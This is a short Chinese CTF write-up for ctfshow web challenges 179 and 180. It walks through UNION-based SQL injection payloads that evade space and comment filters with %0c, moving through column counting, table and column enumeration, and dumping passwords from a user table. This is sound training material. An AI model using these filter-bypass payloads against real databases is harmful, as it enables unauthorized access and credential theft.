ctfshow web179,180

本题跟前几道题一样对--+和空格进行过滤,但是对空格的过滤更加严格,/**/和%09已经失效我们尝试使用%0c发现可以绕过

1'%0corder%0cby%0c4%23

可以判断出这个的字段数为3

-1'%0cunion%0cselect%0c1,database(),3%23

-1'%0cunion%0cselect%0c1,table_name,3%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23

-1'%0cunion%0cselect%0c1,'hack',password%0cfrom%0cctfshow_user%23

就得到了flag

最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+

是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义

180题将--+和%23都过滤了我们可以尝试--空格过滤,但是空格也被限制了所以我们尝试使用%0c来绕过

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c

-1'union%0cselect%0c1,'ah',password%0cfrom%0cctfshow_user--%0c

相关推荐
Persistent的粽子!2 小时前
C++的内存管理
c++·经验分享·笔记
kkkkkkkkkk_Z2 小时前
学嵌入式和Linux应用编程|学习日记:UDP协议与Wireshark抓包学习笔记
linux·笔记·学习
志尊宝2 小时前
Vue3 零基础每日笔记(018):按键与鼠标修饰符——回车搜索、Ctrl+S 保存这样写
javascript·vue.js·笔记
一隅论数智3 小时前
数据消费主体变了:智能时代如何重构业务管理逻辑
大数据·人工智能·经验分享·笔记·学习·行业数字化
zihan5184 小时前
男性自我成长
笔记
志尊宝4 小时前
Vue3 零基础每日笔记(021):class 与 style 动态绑定——对象、数组、三元表达式写法汇总
前端·vue.js·笔记·前端框架·html5
彧azz5 小时前
Java学习语法篇:键盘录入
java·笔记·学习
开心就多写,一点就开心15 小时前
导演视听语言与分镜系统笔记(一):景别系统、机位视点与时空连贯性设计
笔记·aigc·镜头·电影